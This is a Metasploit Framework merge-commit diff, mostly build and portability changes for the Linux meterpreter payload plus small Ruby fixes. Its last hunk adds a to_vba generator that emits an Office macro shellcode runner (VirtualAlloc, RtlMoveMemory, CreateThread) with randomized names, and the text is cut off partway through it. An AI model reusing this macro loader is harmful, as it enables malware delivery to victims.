Merge branch 'master' of r7.github.com:rapid7/metasploit-framework

unstable
Jonathan Cran 2012-01-28 17:39:13 -06:00
commit b649181505
77 changed files with 2557 additions and 346 deletions

BIN
data/meterpreter/msflinker_linux_x86.bin Executable file → Normal file

Binary file not shown.

42
data/post/enum_artifacts_list.txt Normal file → Executable file
View File

@ -1,14 +1,36 @@
# This file contains a list of artifacts used by the enum_artifacts post module
# Artifacts should be listed one per line and use the following formats:
# File entries
# file|path/to/file|md5sum
# YAML:1.0
# Configuration file for enum_artifacts.rb module
# This file contains a YAML formated list of artifacts used by the
# enum_artifacts post module. Artifacts should be listed using the following
# format:
#
# Registry entries
# reg|hive|key|value
# ---
# malware_name:
# files:
# - name: path\to\file
# csum: 00112233445566778899aabbccddeeff
# - name: path\to\another\file
# csum: 112233445566778899aabbccddeeff00
#
# reg_entries:
# - key: registry_key
# val: registry_value
# data: data
#
# Happy hunting
---
test_evidence:
files:
- name: c:\ntdetect.comx
csum: b2de3452de03674c6cec68b8c8ce7c78
- name: c:\boot.ini
csum: fa579938b0733b87066546afe951082c
reg_entries:
- key: HKEY_LOCAL_MACHINE\SYSTEM\Selectx
val: Current
data: 1
- key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI
val: DisplayName
data: Microsoft ACPI Driver
file|c:\ntdetect.com|b2de3452de03674c6cec68b8c8ce7c78
file|c:\boot.ini|fa579938b0733b87066546afe951082c
reg|HKEY_LOCAL_MACHINE\SYSTEM\Select|Current|1
reg|HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ACPI|DisplayName|Microsoft ACPI Driver

View File

@ -0,0 +1,9 @@
class AddVirtualHostToHosts < ActiveRecord::Migration
def self.up
add_column :hosts, :virtual_host, :text
end
def self.down
remove_column :hosts, :viritual_host
end
end

View File

@ -40,11 +40,25 @@ external/source/meterpreter/source/bionic/compiled/libcrypto.so: tmp/openssl-0.9
external/source/meterpreter/source/bionic/compiled/libssl.so: tmp/openssl-0.9.8o/libssl.so
cp tmp/openssl-0.9.8o/libssl.so external/source/meterpreter/source/bionic/compiled/libssl.so
LIBC=$(PWD)/external/source/meterpreter/source/bionic/libc
LIBM=$(PWD)/external/source/meterpreter/source/bionic/libm
COMPILED=$(PWD)/external/source/meterpreter/source/bionic/compiled
MSF_CFLAGS=-Os -Wl,--hash-style=sysv -march=i386 -m32 -nostdinc -nostdlib -fno-builtin -fpic -I $(LIBC)/include -I $(LIBC)/kernel/common/linux/ -I $(LIBC)/kernel/common/ -I $(LIBC)/arch-x86/include/ -I $(LIBC)/kernel/arch-x86/ -I$(LIBC)/private -I$(LIBM)/include -DPIC -Dwchar_t='char' -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -D_BYTE_ORDER=_LITTLE_ENDIAN -L$(COMPILED) -lc
tmp/openssl-0.9.8o/libssl.so:
[ -d tmp ] || mkdir tmp
[ -d tmp/openssl-0.9.8o ] || wget -O tmp/openssl-0.9.8o.tar.gz http://openssl.org/source/openssl-0.9.8o.tar.gz && tar -C tmp/ -xzf tmp/openssl-0.9.8o.tar.gz
(cd tmp/openssl-0.9.8o && ./Configure threads no-zlib no-krb5 386 --prefix=/tmp/out linux-elf shared)
(cd tmp/openssl-0.9.8o && make CC="gcc -Os -Wl,--hash-style=sysv -I${PWD}/external/source/meterpreter/source/bionic/libc/include -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/common/linux/ -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/common/ -I${PWD}/external/source/meterpreter/source/bionic/libc/arch-x86/include/ -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/arch-x86/ -I${PWD}/external/source/meterpreter/source/bionic/libc/private -fPIC -DPIC -nostdinc -nostdlib -Dwchar_t='char' -fno-builtin -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -I${PWD}/external/source/meterpreter/source/bionic/libm/include -L${PWD}/external/source/meterpreter/source/bionic/compiled -D_BYTE_ORDER=_LITTLE_ENDIAN -lc" depend all ; [ -f libssl.so.0.9.8 -a -f libcrypto.so.0.9.8 ] )
[ -d tmp/openssl-0.9.8o ] || wget -O tmp/openssl-0.9.8o.tar.gz http://openssl.org/source/openssl-0.9.8o.tar.gz
[ -f tmp/openssl-0.9.8o/Configure ] || tar -C tmp/ -xzf tmp/openssl-0.9.8o.tar.gz
(cd tmp/openssl-0.9.8o && \
cat Configure | grep -v 'linux-msf' | \
sed -e 's#my %table=(#my %table=( \
"linux-msf", "gcc:$(MSF_CFLAGS) -DL_ENDIAN -DTERMIO -Wall::$(MSF_CFLAGS) -D_REENTRANT::$(MSF_CFLAGS) -ldl:BN_LLONG $${x86_gcc_des} $${x86_gcc_opts}:$${x86_elf_asm}:dlfcn:linux-shared:$(MSF_CFLAGS) -fPIC::.so.\\$$\\$$(SHLIB_MAJOR).\\$$\\$$(SHLIB_MINOR)",\
#;' > Configure-msf;\
cp Configure-msf Configure && chmod +x Configure && \
grep linux-msf Configure && \
./Configure --prefix=/tmp/out threads shared no-hw no-dlfcn no-zlib no-krb5 no-idea 386 linux-msf \
)
(cd tmp/openssl-0.9.8o && make CC="gcc -march=i386 -m32 -Os -Wl,--hash-style=sysv -I${PWD}/external/source/meterpreter/source/bionic/libc/include -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/common/linux/ -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/common/ -I${PWD}/external/source/meterpreter/source/bionic/libc/arch-x86/include/ -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/arch-x86/ -I${PWD}/external/source/meterpreter/source/bionic/libc/private -fPIC -DPIC -nostdinc -nostdlib -Dwchar_t='char' -fno-builtin -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -I${PWD}/external/source/meterpreter/source/bionic/libm/include -L${PWD}/external/source/meterpreter/source/bionic/compiled -D_BYTE_ORDER=_LITTLE_ENDIAN -lc" depend all ; [ -f libssl.so.0.9.8 -a -f libcrypto.so.0.9.8 ] )
cp tmp/openssl-0.9.8o/libssl.so* tmp/openssl-0.9.8o/libcrypto.so* external/source/meterpreter/source/openssl/lib/linux/i386/
external/source/meterpreter/source/bionic/compiled/libpcap.so: tmp/libpcap-1.1.1/libpcap.so.1.1.1
@ -53,7 +67,7 @@ external/source/meterpreter/source/bionic/compiled/libpcap.so: tmp/libpcap-1.1.1
tmp/libpcap-1.1.1/libpcap.so.1.1.1:
[ -d tmp ] || mkdir tmp
[ -f tmp/libpcap-1.1.1.tar.gz ] || wget -O tmp/libpcap-1.1.1.tar.gz http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz
tar -C tmp -xzf tmp/libpcap-1.1.1.tar.gz
[ -f tmp/libpcap-1.1.1/configure ] || tar -C tmp -xzf tmp/libpcap-1.1.1.tar.gz
(cd tmp/libpcap-1.1.1 && ./configure --disable-bluetooth --without-bluetooth --without-usb --disable-usb --without-can --disable-can --without-usb-linux --disable-usb-linux)
echo '#undef HAVE_DECL_ETHER_HOSTTON' >> tmp/libpcap-1.1.1/config.h
echo '#undef HAVE_SYS_BITYPES_H' >> tmp/libpcap-1.1.1/config.h
@ -63,7 +77,7 @@ tmp/libpcap-1.1.1/libpcap.so.1.1.1:
echo '#define _STDLIB_H this_works_around_malloc_definition_in_grammar_dot_c' >> tmp/libpcap-1.1.1/config.h
(cd tmp/libpcap-1.1.1 && patch --dry-run -p0 < ../../external/source/meterpreter/source/libpcap/pcap_nametoaddr_fix.diff && patch -p0 < ../../external/source/meterpreter/source/libpcap/pcap_nametoaddr_fix.diff)
sed -i -e s/pcap-usb-linux.c//g -e s/fad-getad.c/fad-gifc.c/g tmp/libpcap-1.1.1/Makefile
sed -i -e s^"CC = gcc"^"CC = gcc -Wl,--hash-style=sysv -fno-stack-protector -nostdinc -nostdlib -fPIC -DPIC -g -Wall -D_UNIX -D__linux__ -I${PWD}/external/source/meterpreter/source/bionic/libc/include -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/common/linux/ -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/common/ -I${PWD}/external/source/meterpreter/source/bionic/libc/arch-x86/include/ -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/arch-x86/ -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t" -D_BYTE_ORDER=_LITTLE_ENDIAN -lgcc -L${PWD}/external/source/meterpreter/source/bionic/compiled -gstabs+ -fPIC -Os -lc"^g tmp/libpcap-1.1.1/Makefile
sed -i -e s^"CC = gcc"^"CC = gcc -march=i386 -m32 -Wl,--hash-style=sysv -fno-stack-protector -nostdinc -nostdlib -fPIC -DPIC -g -Wall -D_UNIX -D__linux__ -I${PWD}/external/source/meterpreter/source/bionic/libc/include -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/common/linux/ -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/common/ -I${PWD}/external/source/meterpreter/source/bionic/libc/arch-x86/include/ -I${PWD}/external/source/meterpreter/source/bionic/libc/kernel/arch-x86/ -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t" -D_BYTE_ORDER=_LITTLE_ENDIAN -lgcc -L${PWD}/external/source/meterpreter/source/bionic/compiled -gstabs+ -fPIC -Os -lc"^g tmp/libpcap-1.1.1/Makefile
(cd tmp/libpcap-1.1.1 && make)
@ -108,10 +122,19 @@ data/meterpreter/ext_server_networkpug.lso: $(workspace)/ext_server_networkpug/e
clean:
rm -f $(objects)
rm -f external/source/meterpreter/source/bionic/lib*/*.o
find external/source/meterpreter/source/bionic/ -name '*.a' -print0 | xargs -0 rm -f 2>/dev/null
rm -f external/source/meterpreter/source/bionic/lib*/*.so
(cd external/source/meterpreter/source/server/rtld/ && make clean)
(cd $(workspace) && make clean)
clean-pcap:
(cd tmp/libpcap-1.1.1/ && make clean)
.PHONY: clean
clean-ssl:
(cd tmp/openssl-0.9.8o/ && make clean)
really-clean: clean clean-ssl clean-pcap
.PHONY: clean clean-ssl clean-pcap really-clean

View File

@ -443,7 +443,11 @@ else # !arm
# Enable recent IA friendly memory routines (such as for Atom)
# These will not work on the earlier x86 machines
libc_common_cflags += -mtune=i686 -DUSE_SSSE3 -DUSE_SSE2
#libc_common_cflags += -mtune=i686 -DUSE_SSSE3 -DUSE_SSE2
# egypt: compile for 386 so meterpreter will have a chance of working on
# older processors
libc_common_cflags += -march=i386
endif # x86
endif # !arm

View File

@ -377,7 +377,7 @@ DEFINES = USE_LOCKS
ANDROID
;
CFLAGS_x86 = -Iprivate -Ibionic -Ikernel/arch-x86 -Ikernel/common -I../libm/include -fno-stack-protector -fno-pie -DPIC -ffreestanding -fno-tree-scev-cprop ;
CFLAGS_x86 = -m32 -march=i386 -Iprivate -Ibionic -Ikernel/arch-x86 -Ikernel/common -I../libm/include -fno-stack-protector -fno-pie -DPIC -ffreestanding -fno-tree-scev-cprop ;
for arch in $(ARCH)

2
external/source/meterpreter/source/bionic/libc/out/x86/make.sh vendored Normal file → Executable file
View File

@ -17,4 +17,4 @@ gcc -Wl,--hash-style=sysv -nostdinc -nostdlib -shared -o libbionic.so flood/*.o
rm -rf flood >/dev/null
exit 0

View File

@ -3,6 +3,7 @@ CFLAGS+= -I../libc/include -I../libc/private -I../libc/bionic -I../libc/kernel/a
CFLAGS+= -I../libc/kernel/common/linux/ -I../libc/arch-x86/include/ -I../libc/kernel/common/
CFLAGS+= -Os
CFLAGS+= -march=i386 -m32
all:
gcc -Wl,--hash-style=sysv -shared -o libdl.so $(CFLAGS) libdl.c

View File

@ -10,6 +10,7 @@ CFLAGS+=-I../libc/kernel/common/ -I../libc/arch-${TARGET_ARCH}/include/ -I../lib
CFLAGS+=-D_BYTE_ORDER=_LITTLE_ENDIAN -Ihack/ -I${TARGET_FPU} -I../libc/arch-${TARGET_ARCH}/include
CFLAGS+=-fPIC -DPIC
CFLAGS+=-Wl,--hash-style=sysv
CFLAGS+=-march=i386 -m32
libm_common_src_files= \
isinf.c \

View File

@ -21,7 +21,7 @@ DWORD request_fs_ls(Remote *remote, Packet *packet)
LPSTR expanded = NULL, tempFile = NULL;
DWORD tempFileSize = 0;
LPSTR baseDirectory = NULL;
struct stat buf;
struct meterp_stat buf;
directory = packet_get_tlv_value_string(packet, TLV_TYPE_DIRECTORY_PATH);
@ -150,7 +150,7 @@ DWORD request_fs_ls(Remote *remote, Packet *packet)
tempFile);
// Stat the file to get more information about it.
if (stat(tempFile, &buf) >= 0)
if (fs_stat(tempFile, &buf) >= 0)
packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf,
sizeof(buf));

View File

@ -257,7 +257,7 @@ DWORD request_fs_separator(Remote *remote, Packet *packet)
DWORD request_fs_stat(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
struct stat buf;
struct meterp_stat buf;
LPCSTR filePath;
LPSTR expanded = NULL;
DWORD result = ERROR_SUCCESS;
@ -273,7 +273,7 @@ DWORD request_fs_stat(Remote *remote, Packet *packet)
{
// Stat the file using the Microsoft stat wrapper so that we don't have to
// do translations
if (stat(expanded, &buf) < 0)
if (fs_stat(expanded, &buf) < 0)
result = GetLastError();
else
packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &buf,

View File

@ -24,4 +24,33 @@ DWORD request_fs_sha1(Remote *remote, Packet *packet);
*/
DWORD request_fs_file_channel_open(Remote *remote, Packet *packet);
/*
* Stat structures on Windows and various Unixes are all slightly different.
* Use this as a means of standardization so the client has some hope of
* understanding what the stat'd file really is.
*/
struct meterp_stat {
unsigned int st_dev;
unsigned short st_ino;
unsigned short st_mode;
unsigned short st_nlink;
unsigned short st_uid;
unsigned short st_gid;
unsigned short pad;
unsigned int st_rdev;
unsigned int st_size;
/*
* These are always 64-bits on Windows and usually 32-bits on Linux. Force
* them to be the same size everywhere.
*/
unsigned long long st_atime;
unsigned long long st_mtime;
unsigned long long st_ctime;
};
int fs_stat(LPCSTR filename, struct meterp_stat *buf);
#endif

View File

@ -1,4 +1,5 @@
#include "precomp.h"
#include "fs.h"
/*
* Returns an expanded file path that must be freed
@ -38,3 +39,30 @@ LPSTR fs_expand_path(LPCSTR regular)
return expandedFilePath;
#endif
}
/*
* Fills the platform-independent meterp_stat buf with data from the platform-dependent stat()
*/
int fs_stat(LPCSTR filename, struct meterp_stat *buf) {
struct stat sbuf;
int ret;
ret = stat(filename, &sbuf);
if (ret == 0) {
buf->st_dev = sbuf.st_dev;
buf->st_ino = sbuf.st_ino;
buf->st_mode = sbuf.st_mode;
buf->st_nlink = sbuf.st_nlink;
buf->st_uid = sbuf.st_uid;
buf->st_gid = sbuf.st_gid;
buf->st_rdev = sbuf.st_rdev;
buf->st_size = sbuf.st_size;
buf->st_atime = (unsigned long long)sbuf.st_atime;
buf->st_mtime = (unsigned long long)sbuf.st_mtime;
buf->st_ctime = (unsigned long long)sbuf.st_ctime;
return 0;
} else {
return ret;
}
}

View File

@ -1,15 +1,34 @@
#!/bin/sh
OSSL=openssl-0.9.8o
set -e
pushd $OSSL
./Configure threads no-zlib no-krb5 386 --prefix=/tmp/out linux-msf no-dlfcn shared
popd
#OSSL=openssl-0.9.8o
OSSL=openssl-0.9.8n
export LIBC=../../bionic/libc
export LIBM=../../bionic/libm
export COMPILED=../../bionic/compiled
cd $OSSL
cat Configure | grep -v 'linux-msf' | sed -e 's#my %table=(#my %table=(\
"linux-msf", "gcc:\\$\\${MSF_CFLAGS} -DL_ENDIAN -DTERMIO -Wall::\\$\\${MSF_CFLAGS} -D_REENTRANT::\\$\\${MSF_CFLAGS} -ldl:BN_LLONG ${x86_gcc_des} ${x86_gcc_opts}:${x86_elf_asm}:dlfcn:linux-shared:\\$\\${MSF_CFLAGS} -fPIC::.so.\\$(SHLIB_MAJOR).\\$(SHLIB_MINOR)",\
#;' > Configure-msf
mv Configure-msf Configure
chmod +x Configure
./Configure --prefix=/tmp/out threads shared no-hw no-dlfcn no-zlib no-krb5 no-idea 386 linux-msf
cd ..
# These have to be relative to PWD because the OpenSSL make system builds in
# multiple different levels of subdirs, so we can't just use ../../
export LIBC=${PWD}/../bionic/libc
export LIBM=${PWD}/../bionic/libm
export COMPILED=${PWD}/../bionic/compiled
export MSF_CFLAGS="-Os -Wl,--hash-style=sysv -march=i386 -nostdinc -nostdlib -fno-builtin -fpic -I ${LIBC}/include -I ${LIBC}/kernel/common/linux/ -I ${LIBC}/kernel/common/ -I ${LIBC}/arch-x86/include/ -I ${LIBC}/kernel/arch-x86/ -I${LIBC}/private -I${LIBM}/include -DPIC -Dwchar_t='char' -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -D_BYTE_ORDER=_LITTLE_ENDIAN -L${COMPILED} -lc"
# We don't need all the random executable utilities that 'all' builds, just the
# important .so files
#make -C $OSSL depend clean all
make -C $OSSL depend clean build_libs
export CFLAGS="-I ${LIBC}/include -I ${LIBC}/kernel/common/linux/ -I ${LIBC}/kernel/common/ -I ${LIBC}/arch-x86/include/ -I ${LIBC}/kernel/arch-x86/ -I${LIBC}/private -fPIC -DPIC -nostdinc -nostdlib -Dwchar_t='char' -fno-builtin -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -I${LIBM}/include -L${COMPILED} -D_BYTE_ORDER=_LITTLE_ENDIAN -lc"
make -C $OSSL depend clean all

View File

@ -3,15 +3,18 @@ CFLAGS=-I${PWD}/hack
CFLAGS+= -I ../../bionic/libc/include -I ../../bionic/libc/kernel/common/linux/ -I ../../bionic/libc/kernel/common/ -I ../../bionic/libc/arch-x86/include/
CFLAGS+= -I ../../bionic/libc/kernel/arch-x86/ -I../../source/server/elf/headers -I../../bionic/libc/private -fPIC -DPIC
CFLAGS+= -nostdinc -nostdlib -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t" -DANDROID_X86_LINKER
CFLAGS+= -ggdb
#CFLAGS+= -ggdb
CFLAGS+= -DMETSRV_RTLD -D_BYTE_ORDER=_LITTLE_ENDIAN
CFLAGS+= -march=i386 -m32
OBJ=msflinker.o basic_libc.o syscall.o linker_format.o dlfcn.o zlib.o metsrv_rtld.o
all: msflinker msflinker.bin rtldtest
msflinker: $(OBJ)
gcc -Wl,-script=script -Wl,--hash-style=sysv $(CFLAGS) -o msflinker $(OBJ) -lgcc
strip msflinker
msflinker.bin: msflinker elf2bin.c
gcc -o elf2bin elf2bin.c
@ -59,5 +62,5 @@ rtldtest: rtldtest.c msflinker
clean:
rm -f libmetsrv_main.h libssl.h libcrypto.h libm.h libc.h libsupport.h
rm -f *.o
rm -f msflinker msflinker.so
rm -f msflinker msflinker.bin msflinker.so
rm -f rtldtest elf2bin

View File

@ -60,7 +60,7 @@ int main(int argc, char **argv)
ehdr = (Elf32_Ehdr *)data;
phdr = (Elf32_Phdr *)(data + ehdr->e_phoff);
printf("data @ %08x, mapping @ %08x\n", data, mapping);
printf("data @ %p, mapping @ %p\n", data, mapping);
for(i = 0; i < ehdr->e_phnum; i++, phdr++) {
if(phdr->p_type == PT_LOAD) {
@ -71,7 +71,7 @@ int main(int argc, char **argv)
source = data + (phdr->p_offset & ~4095);
dest = mapping + ((phdr->p_vaddr - base) & ~4095);
len = phdr->p_filesz + (phdr->p_vaddr & 4095);
printf("memcpy(%08x, %08x, %08x)\n", dest, source, len);
printf("memcpy(%p, %p, %08x)\n", dest, source, len);
memcpy(dest, source, len);
used += (phdr->p_memsz + (phdr->p_vaddr & 4095) + 4095) & ~4095 ;

View File

@ -29,7 +29,7 @@
#ifndef _LINKER_DEBUG_H_
#define _LINKER_DEBUG_H_
#define LINKER_DEBUG 1
#define LINKER_DEBUG 0
#include <stdio.h>
@ -41,9 +41,9 @@
* or 0 to use stdout instead.
*/
#define LINKER_DEBUG_TO_LOG 0
#define TRACE_DEBUG 1
#define DO_TRACE_LOOKUP 1
#define DO_TRACE_RELO 1
#define TRACE_DEBUG 0
#define DO_TRACE_LOOKUP 0
#define DO_TRACE_RELO 0
/*********************************************************************
* You shouldn't need to modify anything below unless you are adding

View File

@ -1,5 +1,7 @@
SUBDIRS = common metsrv ext_server_stdapi ext_server_sniffer ext_server_networkpug
CFLAGS+= -march=i386 -m32
subdirs:
for dir in $(SUBDIRS); do \
$(MAKE) -C $$dir; \

View File

@ -18,6 +18,8 @@ CFLAGS+= -lgcc -L../../source/bionic/compiled
CFLAGS+= -D_UNIX -I$(SOURCEPATH) -I$(MALLOC_PATH) -I$(XOR_PATH) -DMALLOC_PRODUCTION -DPIC -I$(SSLPATH) -I$(STDLIBPATH) -I$(ZLIB_PATH)
CFLAGS+= -g -fPIC -Os -D_POSIX_C_SOURCE=200809 -D__BSD_VISIBLE=1 -D__XSI_VISIBLE=1
CFLAGS+= -march=i386 -m32
CC=gcc
AR=ar

View File

@ -15,6 +15,8 @@ CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
CFLAGS+= -fPIC -Os
CFLAGS+= -I../../source/extensions/stdapi/server -lc -lsupport
CFLAGS+= -march=i386 -m32
objects = test.o
all: posix_sample.so

View File

@ -16,6 +16,8 @@ CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
CFLAGS+= -fPIC -Os
CFLAGS+= -I../../source/extensions/networkpug -lc -lpcap -lsupport -lmetsrv_main
CFLAGS+= -march=i386 -m32
#LDFLAGS= -fPIC -Bshareable -lc
ifeq ($(OSNAME), FreeBSD)

View File

@ -17,13 +17,15 @@ CFLAGS+= -fPIC -Os
CFLAGS+= -I../../source/extensions/networkpug -lc -lpcap -lsupport -lmetsrv_main
CFLAGS+= -I.
CFLAGS+= -march=i386 -m32
objects = sniffer.o
all: ext_server_sniffer.so
ext_server_sniffer.so: $(objects)
$(CC) -shared $(CFLAGS) $(objects) -lpcap -o $@
$(CC) -Wl,--hash-style=sysv -shared $(CFLAGS) $(objects) -lpcap -lssl -o $@
.PHONY: clean
clean:

View File

@ -15,6 +15,8 @@ CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
CFLAGS+= -fPIC -Os
CFLAGS+= -I../../source/extensions/stdapi/server -lc -lsupport -lmetsrv_main -lpcap
CFLAGS+= -march=i386 -m32
#LDFLAGS= -fPIC -Bshareable -lc
ifeq ($(OSNAME), FreeBSD)

View File

@ -13,6 +13,8 @@ CFLAGS+= -Dwchar_t="char" -fno-builtin -D_SIZE_T_DECLARED -DElf_Size="u_int32_t"
CFLAGS+= -D_BYTE_ORDER=_LITTLE_ENDIAN
CFLAGS+= -lgcc -L../../source/bionic/compiled -gstabs+
CFLAGS+= -march=i386 -m32
OS=posix
OSVPATH=../../source/common/arch/$(OS):../../source/server/linux/
ARCHVPATH=$(OSVPATH)/$(RARCH):$(ELFARCHPATH)

View File

@ -312,9 +312,9 @@ class ReadableText
next if (opt.advanced?)
next if (opt.evasion?)
val = mod.datastore[name] || opt.default.to_s
val_display = opt.display_value(mod.datastore[name] || opt.default)
tbl << [ name, val.to_s, opt.required? ? "yes" : "no", opt.desc ]
tbl << [ name, val_display, opt.required? ? "yes" : "no", opt.desc ]
}
return tbl.to_s

View File

@ -23,7 +23,7 @@ module Auxiliary::Report
end
def inside_workspace_boundary?(ip)
return if not framework.db.active
return true if not framework.db.active
allowed = myworkspace.allow_actions_on?(ip)
return allowed
end

View File

@ -262,6 +262,7 @@ class DBManager
# :arch -- one of the ARCH_* constants
# :mac -- the host's MAC address
# :scope -- interface identifier for link-local IPv6
# :virtual_host -- the name of the VM host software, eg "VMWare", "QEMU", "Xen", etc.
#
def report_host(opts)

4
lib/msf/core/encoded_payload.rb Normal file → Executable file
View File

@ -107,6 +107,10 @@ class EncodedPayload
if reqs['BadChars'] or reqs['Encoder'] or reqs['ForceEncode']
encoders = pinst.compatible_encoders
# Fix encoding issue
if reqs['Encoder']
reqs['Encoder'] = reqs['Encoder'].encode(framework.encoders.keys[0].encoding)
end
# If the caller had a preferred encoder, use this encoder only
if ((reqs['Encoder']) and (preferred = framework.encoders[reqs['Encoder']]))
encoders = [ [reqs['Encoder'], preferred] ]

View File

@ -668,7 +668,8 @@ module Exploit::Remote::HttpClient
info << " ( #{extras.join(", ")} )" if extras.length > 0
# Report here even if info is empty since the fact that we didn't
# return early means we at least got a connection and the service is up
report_service(:host => rhost, :port => rport, :name => (ssl ? 'https' : 'http'), :info => info.dup)
ssl = datastore['SSL']
report_web_site(:host => rhost, :port => rport, :ssl => ssl, :vhost => vhost, :info => info.dup)
info
end

View File

@ -21,6 +21,10 @@ class Host < ActiveRecord::Base
validates_exclusion_of :address, :in => ['127.0.0.1']
validates_uniqueness_of :address, :scope => :workspace_id
def is_vm?
!!self.virtual_host
end
def attribute_locked?(attr)
n = notes.find_by_ntype("host.updated.#{attr}")
n && n.data[:locked]

View File

@ -81,6 +81,13 @@ class OptBase
value
end
#
# Returns a string representing a user-friendly display of the chosen value
#
def display_value(value)
value.to_s
end
#
# The name of the option.
#
@ -137,6 +144,7 @@ end
# OptEnum - Select from a set of valid values
# OptAddressRange - A subnet or range of addresses
# OptSession - A session identifier
# OptRegexp - Valid Ruby regular expression
#
###
@ -440,6 +448,44 @@ class OptInt < OptBase
end
end
###
#
# Regexp option
#
###
class OptRegexp < OptBase
def type
return 'regexp'
end
def valid?(value)
unless super
return false
end
begin
Regexp.compile(value)
return true
rescue RegexpError => e
return false
end
end
def normalize(value)
return Regexp.compile(value)
end
def display_value(value)
if value.kind_of?(Regexp)
return value.source
elsif value.kind_of?(String)
return display_value(normalize(value))
end
return super
end
end
###
#

View File

@ -30,6 +30,18 @@ module Common
return o
end
def report_vm(vm)
return unless session
return unless vm
vm_normal = vm.to_s.lstrip.strip
return if vm_normal.empty?
vm_data = {
:host => session.target_host,
:virtual_host => vm_normal
}
report_host(vm_data)
end
end
end
end

View File

@ -38,7 +38,11 @@ module File
#
def file_remote_digestmd5(file2md5)
chksum = Digest::MD5.hexdigest(read_file(file2md5))
data = read_file(file2md5)
chksum = nil
if data
chksum = Digest::MD5.hexdigest(data)
end
return chksum
end
@ -61,7 +65,11 @@ module File
#
def file_remote_digestsha1(file2sha1)
chksum = Digest::SHA1.hexdigest(read_file(file2sha1))
data = read_file(file2sha1)
chksum = nil
if data
chksum = Digest::SHA1.hexdigest(data)
end
return chksum
end
@ -84,7 +92,11 @@ module File
#
def file_remote_digestsha2(file2sha2)
chksum = Digest::SHA256.hexdigest(read_file(file2sha2))
data = read_file(file2sha2)
chksum = nil
if data
chksum = Digest::SHA256.hexdigest(data)
end
return chksum
end
@ -156,7 +168,7 @@ protected
begin
fd = session.fs.file.new(file_name, "rb")
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Failed to open file: #{e.class} : #{e}")
print_error("Failed to open file: #{file_name}")
return nil
end

69
lib/msf/util/exe.rb Normal file → Executable file
View File

@ -807,6 +807,70 @@ require 'digest/sha1'
return vba
end
def self.to_vba(framework,code,opts={})
var_myByte = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_myArray = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_rwxpage = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_res = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_offset = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpThreadAttributes = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_dwStackSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpStartAddress = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpParameter = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_dwCreationFlags = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpThreadID = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lpAddr = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lSize = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_flAllocationType = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_flProtect = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_lDest = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_Source = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
var_Length = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
# put the shellcode bytes into an array
bytes = ''
maxbytes = 20
codebytes = code.unpack('C*')
1.upto(codebytes.length) do |idx|
bytes << codebytes[idx].to_s
bytes << "," if idx < codebytes.length - 1
bytes << " _\r\n" if (idx > 1 and (idx % maxbytes) == 0)
end
"#If Vba7 Then
Private Declare PtrSafe Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As LongPtr, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib \"kernel32\" (ByVal #{var_lDest} As LongPtr, ByRef #{var_Source} As Any, ByVal #{var_Length} As Long) As LongPtr
#Else
Private Declare Function CreateThread Lib \"kernel32\" (ByVal #{var_lpThreadAttributes} As Long, ByVal #{var_dwStackSize} As Long, ByVal #{var_lpStartAddress} As Long, #{var_lpParameter} As Long, ByVal #{var_dwCreationFlags} As Long, #{var_lpThreadID} As Long) As Long
Private Declare Function VirtualAlloc Lib \"kernel32\" (ByVal #{var_lpAddr} As Long, ByVal #{var_lSize} As Long, ByVal #{var_flAllocationType} As Long, ByVal #{var_flProtect} As Long) As Long
